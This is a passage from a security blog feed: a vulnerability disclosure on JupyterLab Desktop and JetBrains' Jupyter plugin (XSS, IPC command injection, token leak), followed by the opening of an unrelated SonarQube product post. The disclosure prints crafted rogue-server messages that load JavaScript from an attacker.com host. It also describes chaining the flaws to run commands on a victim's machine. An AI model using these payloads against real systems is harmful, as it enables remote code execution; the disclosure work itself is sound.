href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/welcomeview/preload.ts&quot;&gt;welcomeview&lt;/a&gt; one. This ensures the least privileged model, making sure that even if an attacker manages to compromise a certain window, they will be restricted to its capabilities.&lt;/p&gt;&lt;p&gt;In addition to the exposure limitation, some IPC listeners also implement a protection mechanism on the receiver end, verifying that the initiator of the request is the intended window. For &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/app.ts#L756&quot;&gt;example&lt;/a&gt;, the IPC &lt;code&gt;EventTypeMain.InstallBundledPythonEnv&lt;/code&gt; is sensitive and could execute code if called by an attacker, so it verifies that only the &lt;code&gt;_managePythonEnvDialog&lt;/code&gt; window can perform the action:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;this._evm.registerEventHandler(
      EventTypeMain.InstallBundledPythonEnv,
      async (event, envPath: string) =&amp;gt; {
        // for security, make sure event is sent from the dialog when path is specified
        if (
          envPath &amp;amp;&amp;amp;
          event.sender !== this._managePythonEnvDialog?.window?.webContents
        ) {
          return;
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our research, we found a XSS vulnerability in the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/welcomeview/welcomeview.ts#L24&quot;&gt;WelcomeView&lt;/a&gt; and the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/remoteserverselectdialog/remoteserverselectdialog.ts#L12&quot;&gt;RemoteServerSelectDialog&lt;/a&gt; windows, when a user is trying to connect to a remote server:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/b3e0f66c-683b-4a8d-9304-55bb62833987/jupyter-blog-4.png&quot; /&gt;&lt;p&gt; The URL provided by the user is inserted into the HTML without any encoding or sanitization in both the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/remoteserverselectdialog/remoteserverselectdialog.ts#L168&quot;&gt;server list of RemoteServerSelectDialog&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;menuItem.innerHTML = server.url + `&amp;lt;svg class=&amp;quot;delete-button&amp;quot; ...`&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/welcomeview/welcomeview.ts#L780&quot;&gt;recent session tooltip in the WelcomeView&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;tooltip = `${recentSession.remoteURL}\nSession data ...`&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Resulting in XSS in both windows.&lt;/p&gt;&lt;p&gt;The WelcomeView window is particularly powerful from an attacker&amp;#x27;s perspective since it can initiate any IPC message using the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/welcomeview/preload.ts#L62&quot;&gt;sendMessageToMain&lt;/a&gt; function. Despite some IPC listeners verifying the window that initiated the request (as described before), we found an interesting IPC listener that doesn’t verify the initiator window: &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ee1263a02248bc59c4efc8460ee900f15c45ca89/src/main/app.ts#L1061&quot;&gt;&lt;code&gt;set-server-launch-args&lt;/code&gt;&lt;/a&gt;. When JupyterLab Desktop loads, the given value is &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ee1263a02248bc59c4efc8460ee900f15c45ca89/src/main/server.ts#L63&quot;&gt;concatenated into a command string&lt;/a&gt; as an argument and then executed, making it vulnerable to command injection:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (serverInfo.serverArgs) {
    launchCmd += ` ${serverInfo.serverArgs}`;
}
//...
script = `
        //...
        ${launchCmd}`;
    }
//...
launchScriptPath = createTempFile(`launch.${ext}`, script);
//...
execFile(launchScriptPath, execOptions)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For this to execute immediately, an attacker can use a different IPC call to restart the application:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;electronAPI.sendMessageToMain(&amp;quot;restart-app&amp;quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Putting it all together, an attacker would need to convince a victim to connect to a server URL to exploit this vulnerability. Immediately after doing so, the attacker-controlled JavaScript code will execute in the WelcomeView window and, using the command injection in the IPC call, run arbitrary commands on the victim’s machine.&lt;/p&gt;&lt;h3&gt;JupyterLab desktop: token leak leading to remote code execution (CVE-2025-59842)&lt;/h3&gt;&lt;p&gt;So we&amp;#x27;ve discussed a vulnerability in one of the most powerful windows, &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/welcomeview/welcomeview.ts#L24&quot;&gt;WelcomeView&lt;/a&gt;, but now let’s shift our focus to the most limited window and how its restrictions can be circumvented. But before that, let&amp;#x27;s first clarify more concepts about Jupyter:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Client-Server Separation: As mentioned earlier, the Jupyter environment is fundamentally split into two distinct processes:&lt;ul&gt;&lt;li&gt;The Client (Jupyter notebook/lab): The graphical application the user sees, responsible for the user interface and file management.&lt;/li&gt;&lt;li&gt;The Server (Jupyter Server): The component that handles the actual code execution.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Jupyter Server Authentication&lt;strong&gt;:&lt;/strong&gt; Since the Jupyter Server is designed to execute code, it must prevent unauthorized access. There are several ways for organizations running Jupyter to set up their authentication/authorization flows, but by default, Jupyter Server uses &lt;a href=&quot;https://jupyter-server.readthedocs.io/en/latest/operators/security.html#&quot;&gt;token authentication&lt;/a&gt;. Upon startup, it generates a unique, random token. This token can be provided to the server either via a URL query parameter or using the &lt;code&gt;Authorization&lt;/code&gt; header within each request.&lt;/li&gt;&lt;li&gt;Default File Handling in Desktop&lt;strong&gt;:&lt;/strong&gt; When you install JupyterLab Desktop, it is configured to be the default handler for Jupyter notebook files (&lt;code&gt;.ipynb&lt;/code&gt;). Opening a notebook file causes the application to launch a new, dedicated, local Jupyter server instance. This server runs on a random port and uses the default token authentication mechanism mentioned above. So while the code is viewed and executed locally, it&amp;#x27;s actually using two different components.&lt;/li&gt;&lt;li&gt;Notebook Trust Model: Notebook files are often shared, meaning users frequently open notebooks written by others, which poses a security risk (e.g., executing malicious code upon viewing). To mitigate this, Jupyter employs a Trust Model:&lt;ul&gt;&lt;li&gt;Notebooks are initially &amp;quot;untrusted&amp;quot;, preventing immediate execution of potentially malicious code when first opened.&lt;/li&gt;&lt;li&gt;A notebook becomes &amp;quot;trusted&amp;quot; only after the user explicitly executes a code cell within it. Once trusted, a unique signature is stored in a local database, confirming the user&amp;#x27;s intent to run the code in that specific document.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;When a user connects to a Jupyter session, either remote or local, JupyterLab Desktop will use the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/labview/labview.ts#L40&quot;&gt;LabView&lt;/a&gt; window. This window, in the electron context, is considered untrusted as arbitrary JavaScript code can be executed there by design, and because of this, the exposed IPC methods are only: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;getServerInfo - Returns information about the destination server.&lt;/li&gt;&lt;li&gt;broadcastLabUIReady - Broadcasts that the UI is loaded.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Which, at first glance, don’t seem to pose any security issues. However, we noticed that regardless of the change in destination (redirection, user navigation, etc.), the &lt;code&gt;getServerInfo&lt;/code&gt; will always return the full URL of the &lt;em&gt;initial&lt;/em&gt; destination.&lt;/p&gt;&lt;p&gt;This is where &lt;code&gt;getServerInfo&lt;/code&gt; poses a risk: if an attacker manages to change the window destination of a local notebook to their malicious website, they could run this IPC call and leak the randomized port alongside the token of the victim’s local Jupyter server instance, since the token is reflected in the URL as a parameter.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; electronAPI.getServerInfo().then(a=&amp;gt;{console.log(a)})
&amp;gt;&amp;gt;&amp;gt; {type: &amp;#39;local&amp;#39;, environment: {…}, workingDirectory: &amp;#39;/Users/user&amp;#39;, defaultKernel: &amp;#39;python3&amp;#39;, url: &amp;#39;http://localhost:61182/lab?token=jlab:srvr:2c9b07607d444de9d593345532bc78b454adfa&amp;#39;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, if a victim opens a shared notebook, it will be &amp;quot;untrusted&amp;quot; at first, and untrusted notebooks are sanitized in order to prevent any JavaScript execution. On top of that, any &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/a&quot;&gt;anchor element&lt;/a&gt; will have the  &lt;code&gt;target=_blank&lt;/code&gt; and &lt;code&gt;noopener&lt;/code&gt; attributes, making a click on such a link open a new window without any IPC methods or references to the notebook’s &lt;code&gt;LabView&lt;/code&gt; window.&lt;/p&gt;&lt;p&gt;But there was one path where Jupyter notebook missed adding the anchor element attributes. By providing support for &lt;a href=&quot;https://en.wikipedia.org/wiki/LaTeX&quot;&gt;LaTeX&lt;/a&gt; syntax for users to write mathematical formulas, Jupyter uses the JavaScript &lt;a href=&quot;https://github.com/mathjax/MathJax&quot;&gt;MathJax&lt;/a&gt; package, which has &lt;a href=&quot;https://docs.mathjax.org/en/latest/input/tex/extensions.html#&quot;&gt;extension&lt;/a&gt; support.  Because of the &lt;a href=&quot;https://docs.mathjax.org/en/latest/input/tex/extensions/html.html&quot;&gt;html&lt;/a&gt; extension,  users can create a link using the &lt;code&gt;\href{url}{math}&lt;/code&gt; syntax. This results in an &amp;quot;unsanitized&amp;quot; anchor element (only the URL scheme is sanitized on the MathJax side). Now, if a victim clicks on this link, the redirection will be in the same window of the notebook, allowing the next destination to call &lt;code&gt;getServerInfo&lt;/code&gt; and leak sensitive information about the server. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/a683c9dd-c378-4708-918e-e94d88017bbd/jupyter-blog-1.png&quot; /&gt;&lt;p&gt;Since the server uses a token as the authentication method, and by default Jupyter server &lt;a href=&quot;https://github.com/jupyter-server/jupyter_server/blob/8d1e4836d5d2fad800657858a777ecb4a0cad100/jupyter_server/base/handlers.py#L404&quot;&gt;allows&lt;/a&gt; Cross-Origin Resource Sharing (CORS) requests when done with a token, the attacker can now exploit the available &lt;a href=&quot;https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html#the-rest-api&quot;&gt;REST API&lt;/a&gt; of the Jupyter server to upload a new malicious notebook, make it &amp;quot;trusted&amp;quot;, and navigate to it for arbitrary code execution on the victim&amp;#x27;s machine.&lt;/p&gt;&lt;h3&gt;JetBrains’ Jupyter plugin: built-in server XSS leading to code execution (CVE-2026-25847)&lt;/h3&gt;&lt;p&gt;Up until now, we looked at the official JupyterLab Desktop application, but as mentioned earlier, thanks to Jupyter’s popularity, many IDEs offer support for the Jupyter Notebook format. JetBrains, the company behind popular IDEs like PyCharm and IntelliJ, provides a Jupyter plugin that integrates notebook functionality directly into their development environments, which is &lt;a href=&quot;https://www.jetbrains.com/help/pycharm/jupyter-notebook-support.html&quot;&gt;bundled by default in PyCharm&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;When JetBrains IDEs are running, a built-in server will launch in the background on port &lt;code&gt;63342&lt;/code&gt; (the port is incremented if occupied until reaching an available one). This server is used for various features, such as viewing files in the browser or installing plugins from the &lt;a href=&quot;https://plugins.jetbrains.com/&quot;&gt;JetBrains Marketplace&lt;/a&gt; website. Additionally, plugins can define endpoint handlers within their &lt;a href=&quot;https://plugins.jetbrains.com/docs/intellij/plugin-configuration-file.html&quot;&gt;plugin.xml&lt;/a&gt; file that leverage this server to perform custom tasks via the browser/REST API.&lt;/p&gt;&lt;p&gt;Since this server performs tasks that might be sensitive, like viewing local files, there are some protections in place to prevent untrusted actors from executing certain requests. The main protection is the &lt;a href=&quot;https://github.com/JetBrains/intellij-community/blob/0a97e7caba460142228f9038536b062604775afd/platform/platform-util-netty/src/org/jetbrains/ide/HttpRequestHandler.kt#L53&quot;&gt;isAccessible&lt;/a&gt; function, which checks if the request is made from a trusted website (for example, &lt;a href=&quot;https://github.com/JetBrains/intellij-community/blob/1983c68afd2b3ab3961275738ed459e248b81d9d/platform/built-in-server/src/org/jetbrains/ide/InstallPluginService.kt#L30&quot;&gt;JetBrains-specific domains&lt;/a&gt; or &lt;a href=&quot;https://github.com/JetBrains/intellij-community/blob/1983c68afd2b3ab3961275738ed459e248b81d9d/platform/platform-util-netty/src/org/jetbrains/ide/HttpRequestHandler.kt#L61&quot;&gt;localhost&lt;/a&gt;) by checking the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Origin&quot;&gt;Origin&lt;/a&gt; or &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referer&quot;&gt;Referer&lt;/a&gt; headers.&lt;/p&gt;&lt;p&gt;We have noticed that when viewing a Jupyter notebook in an IDE with the official &lt;a href=&quot;https://plugins.jetbrains.com/plugin/22814-jupyter&quot;&gt;plugin&lt;/a&gt; installed, the notebook is rendered using a custom server endpoint located at: &lt;code&gt;/jupyter/index.html?url=&amp;lt;jupyter-server-ws-url&amp;gt;&lt;/code&gt;. The &lt;code&gt;url&lt;/code&gt; parameter is pointing to a Jupyter server websocket destination. Interestingly, there was no validation on the &lt;code&gt;url&lt;/code&gt; parameter, allowing the client to connect to an arbitrary WebSocket URL.&lt;/p&gt;&lt;p&gt;But how can an attacker exploit this? We have learned that the component that executes code is the Jupyter server. So what could a malicious server do on a client?&lt;/p&gt;&lt;p&gt;Here, we need to introduce another Jupyter core component: &lt;a href=&quot;https://ipywidgets.readthedocs.io/en/latest/&quot;&gt;Jupyter Widgets&lt;/a&gt;. They provide custom interactive controls such as sliders, buttons, and maps that can be embedded directly into a notebook. This allows developers to create more dynamic dashboards and user interfaces, transforming a static notebook into an interactive tool. Since widgets are running on the client side, the majority of their code is written in JavaScript.&lt;/p&gt;&lt;p&gt;So an attacker can create a malicious Jupyter server and send the following messages:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{&amp;quot;type&amp;quot;:&amp;quot;ScriptManagerMessage&amp;quot;,&amp;quot;code&amp;quot;:&amp;quot;IPyWidgets_BaseUrl_Response&amp;quot;,&amp;quot;payload&amp;quot;:&amp;quot;http://attacker.com:8000&amp;quot;}

{&amp;quot;type&amp;quot;:&amp;quot;ScriptManagerMessage&amp;quot;,&amp;quot;code&amp;quot;:&amp;quot;IPyWidgets_WidgetScriptSource_Response&amp;quot;,&amp;quot;payload&amp;quot;:{&amp;quot;moduleName&amp;quot;:&amp;quot;test&amp;quot;,&amp;quot;source&amp;quot;:&amp;quot;http://example.com&amp;quot;,&amp;quot;scriptUri&amp;quot;:&amp;quot;test.js&amp;quot;}}

{&amp;quot;header&amp;quot;: {&amp;quot;msg_type&amp;quot;:&amp;quot;comm_open&amp;quot;}, &amp;quot;content&amp;quot;:{&amp;quot;comm_id&amp;quot;:&amp;quot;setset&amp;quot;,&amp;quot;target_name&amp;quot;:&amp;quot;jupyter.widget&amp;quot;,&amp;quot;data&amp;quot;:{&amp;quot;state&amp;quot;:{&amp;quot;_model_name&amp;quot;:&amp;quot;test&amp;quot;,&amp;quot;_model_module&amp;quot;:&amp;quot;test&amp;quot;,&amp;quot;_model_module_version&amp;quot;:&amp;quot;2&amp;quot;}}},&amp;quot;metadata&amp;quot;: {&amp;quot;version&amp;quot;:&amp;quot;2&amp;quot;}}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The first one, &lt;code&gt;IPyWidgets_BaseUrl_Response&lt;/code&gt;, sets the require.js base URL to the attacker’s server URL. &lt;/li&gt;&lt;li&gt;The second message &lt;code&gt;IPyWidgets_WidgetScriptSource_Response&lt;/code&gt; sets information regarding a widget, defining a name (&lt;code&gt;test&lt;/code&gt;) and a script URI (&lt;code&gt;test.js&lt;/code&gt;).&lt;/li&gt;&lt;li&gt;At last, in the &lt;code&gt;comm_open&lt;/code&gt; message, the server asks the UI to load a widget. By using the same widget name we set before (&lt;code&gt;test&lt;/code&gt;), the notebook will fetch the attacker&amp;#x27;s JavaScript code and execute it.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This will result in XSS once the user visits a malicious link. In the context of a JetBrains IDE, this vulnerability allows an attacker to circumvent the critical &lt;a href=&quot;https://github.com/JetBrains/intellij-community/blob/0a97e7caba460142228f9038536b062604775afd/platform/platform-util-netty/src/org/jetbrains/ide/HttpRequestHandler.kt#L53&quot;&gt;isAccessible&lt;/a&gt; function of the local server.&lt;/p&gt;&lt;p&gt;This is where the impact of the attack can vary, depending on what is available on the built-in JetBrains server, an attacker can do various actions. To demonstrate the worst impact of this attack, we installed the official &lt;a href=&quot;https://plugins.jetbrains.com/plugin/22441-stream-deck&quot;&gt;Stream Deck plugin&lt;/a&gt;, which allows many powerful IDE actions to be performed using the REST API, such as opening a terminal (&lt;code&gt;/api/action/Terminal.OpenInReworkedTerminal&lt;/code&gt;) and pasting command into the terminal (&lt;code&gt;/api/action/Terminal.Paste&lt;/code&gt;). Combining this with the XSS, an attacker can execute arbitrary code on the victim’s machine only by visiting a malicious website.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Unfortunately, the first vulnerability in JupyterLab Desktop was never fixed. Shortly after we sent our advisory to the maintainers, they added a note to the project stating that it is no longer actively maintained and will not receive security updates. We recommend that users switch to an alternative.&lt;/p&gt;&lt;p&gt;The second vulnerability was fixed in the main JupyterLab repo by moving the anchor hardening to happen after any typesetting. This makes sure that all &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags have &lt;code&gt;rel=&amp;quot;noopener&amp;quot;&lt;/code&gt; and &lt;code&gt;target=&amp;quot;_blank&amp;quot;&lt;/code&gt; attributes.&lt;/p&gt;&lt;p&gt;The JetBrains Jupyter plugin vulnerability was fixed by no longer allowing the &lt;code&gt;url&lt;/code&gt; parameter to point to arbitrary URLs.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-14&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We report all issues to Jupyter maintainers&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-14&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Jupyter maintainers confirm the issues&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-14&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Jupyter maintainers create GHSA-2mr8-962v-wc67 and GHSA-vrj4-r4fw-9rfh&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-14&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Jupyter maintainers add a note to the project, stating that Jupyter Desktop will not receive security bug fixes going forward&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-21&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Jupyter maintainers create &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-vvfj-2jqx-52jm&quot;&gt;GHSA-vvfj-2jqx-52jm&lt;/a&gt; (JupyterLab web version)&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-22&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Jupyter maintainers fix the &amp;quot;LaTeX not enforcing the &lt;code&gt;noopener&lt;/code&gt; attribute&amp;quot; vulnerability&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-28&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We report all issues to JetBrains&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-08-28&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;JetBrains acknowledges the report&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-09-25&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We help JetBrains with reproducing the finding, going back and forth several times&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-09-25&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We help Jupyter maintainers with reproducing the finding in JupyterLab desktop&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-09-25&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Jupyter maintainers publish &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-vvfj-2jqx-52jm&quot;&gt;GHSA-vvfj-2jqx-52jm&lt;/a&gt; and assign CVE-2025-59842&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-10-05&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;JetBrains tracks it internally and is working on a fix&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-10-11&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;JetBrains asks for an extension of the 90-day disclosure window&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2025-12-16&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;We ping JetBrains, asking for an update&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;2026-01-27&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;JetBrains releases a fix in PyCharm 2025.3.2 and assigns CVE-2026-25847&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we looked at how a seemingly simple XSS flaw in Jupyter client tools can escalate into full machine compromise. By chaining this with a token leak and command injection, attackers can achieve remote code execution just by tricking a victim into opening a malicious notebook or connecting to a rogue server.&lt;/p&gt;&lt;p&gt;As notebooks become a standard part of modern AI and data science workflows, the client-side tools we use to open them need the same level of security scrutiny as the code we write inside them. Ultimately, untrusted notebooks should be treated with the exact same caution as an untrusted executable&lt;/p&gt;&lt;p&gt;Finally, we want to thank the vendors, Jupyter and JetBrains, for addressing and patching these issues.&lt;/p&gt;&lt;h2&gt;Related blog posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/claude-arbitrary-code-execution/&quot;&gt;Arbitrary code execution and Claude Code CLI: How Claude executed code before you click &amp;#x27;trust&amp;#x27;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-security-for-conversational-ai-uncovering-a-zip-slip-in-eddi/&quot;&gt;Code Security for Conversational AI: Uncovering a Zip Slip in EDDI&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/reply-to-calc-the-attack-chain-to-compromise-mailspring/&quot;&gt;Reply to calc: The Attack Chain to Compromise Mailspring&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SonarQube plugins bring trusted verification to Claude Code, Copilot, Codex, Cursor, and others in the agentic loop]]></title><description><![CDATA[Eliminate verification debt with plugins & how to secure AI coding agents across Claude, Copilot, and Cursor using SonarQube. Reduce code outages by up to 44%.]]></description><link>https://www.sonarsource.com/blog/secure-ai-coding-agent-workflows-plugin/</link><guid isPermaLink="false">en:16d257a1-5484-4f98-a4b5-afd79814ef50</guid><dc:creator><![CDATA[Brooks Naylor]]></dc:creator><pubDate>Wed, 01 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why code verification matters now&lt;/h2&gt;&lt;p&gt;Your agents generate code faster than anyone can read it, let alone trust it. Developers run Claude Code in the terminal, prompt GitHub Copilot in VS Code, spin up Codex CLI, and build inside Cursor, often &lt;a href=&quot;https://www.sonarsource.com/blog/shadow-ai-is-already-writing-your-code/&quot;&gt;switching between several tools in a single day&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Each of those tools generates code to its own implicit quality bar. That fragmentation is the problem. Without independent verification, AI-generated code moves toward production without a consistent safety net.&lt;/p&gt;&lt;p&gt;SonarQube is built to solve exactly that. It now meets developers and AI tools wherever they generate code, applying one, independent verification standard across every agentic workflow. The result: no quality gaps between tools, teams, or environments.&lt;/p&gt;&lt;h2&gt;The cost of fragmented verification&lt;/h2&gt;&lt;p&gt;Adopting multiple AI coding tools sounds like progress, but without a shared verification layer, it becomes a risk.&lt;/p&gt;&lt;p&gt;Without a shared verification layer, each agent produces code to a different quality bar, introducing quality and security drift into the same codebase. And when verification only happens in CI, it arrives too late—after the coding agent has moved on and fixing the issue costs time, focus, and momentum.&lt;/p&gt;&lt;p&gt;The consequence is verification debt: AI-generated code moving toward production faster than anyone can validate it. That debt compounds into outages, security incidents, and &lt;a href=&quot;https://www.sonarsource.com/solutions/reduce-technical-debt/&quot;&gt;technical debt&lt;/a&gt; that slows your release cycle.&lt;/p&gt;&lt;p&gt;Sonar&amp;#x27;s answer is the&lt;a href=&quot;https://www.sonar.com/acdc&quot;&gt; Agent Centric Development Cycle (AC/DC)&lt;/a&gt;: a framework for guiding agents with the right context and constraints, verifying what they generate in real time, and solving issues before they leave the agentic loop. The integrations below help you put AC/DC into practice across every major AI coding tool.&lt;/p&gt;&lt;h2&gt;SonarQube plugins and integrations make verification available across the AI coding ecosystem&lt;/h2&gt;&lt;p&gt;Sonar has built plugins that provide native coverage for every major AI coding tool. Here is where SonarQube now fits into the agentic coding ecosystem.&lt;/p&gt;&lt;h3&gt;Claude Code&lt;/h3&gt;&lt;p&gt;The&lt;a href=&quot;https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-claude-code/&quot;&gt; SonarQube plugin for Claude Code&lt;/a&gt; packages skills, agents, hooks, and the SonarQube MCP Server, giving Claude full access to SonarQube&amp;#x27;s code quality and security analysis within the agentic coding loop, without leaving the terminal. That means code smells, duplication, complexity, and SAST across nearly every language developers use, governed by your quality profiles and gates. And every file Claude reads and every prompt you enter is comprehensively scanned for secrets before it enters the LLM context window.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Read the launch post:&lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-claude-code/&quot;&gt; Now available: SonarQube plugin for Claude Code&lt;/a&gt; | &lt;strong&gt;Get started:&lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-claude-code/&quot;&gt; Set up the SonarQube plugin for Claude Code&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;GitHub Copilot&lt;/h3&gt;&lt;p&gt;SonarQube integrates with GitHub Copilot in the IDE so Copilot-generated output can be checked against your existing quality and security standards as code is written. Your Copilot output gets verified against the standards your team already enforces in CI.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Read the launch post:&lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/now-available-sonarqube-plugin-for-github-copilot-cli/&quot;&gt; Now available: SonarQube plugin for GitHub Copilot CLI&lt;/a&gt; | &lt;strong&gt;Get started:&lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-github-copilot-cli/&quot;&gt; Set up the SonarQube plugin for GitHub Copilot CLI&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Agent App for GitHub&lt;/h3&gt;&lt;p&gt;The SonarQube Agent App brings &lt;a href=&quot;https://www.sonarsource.com/resources/library/code-verification/&quot;&gt;code verification&lt;/a&gt; directly into the GitHub agentic workflow. It is @-mentionable in issues and pull requests, assignable to tasks, and visible in Mission Control. When invoked in the CI verification loop, it authenticates via OIDC, runs verification against your quality gate, and surfaces findings where the code is written, not minutes or hours later in a pipeline. From there, coding agents can remediate issues in context, helping teams close the loop without leaving 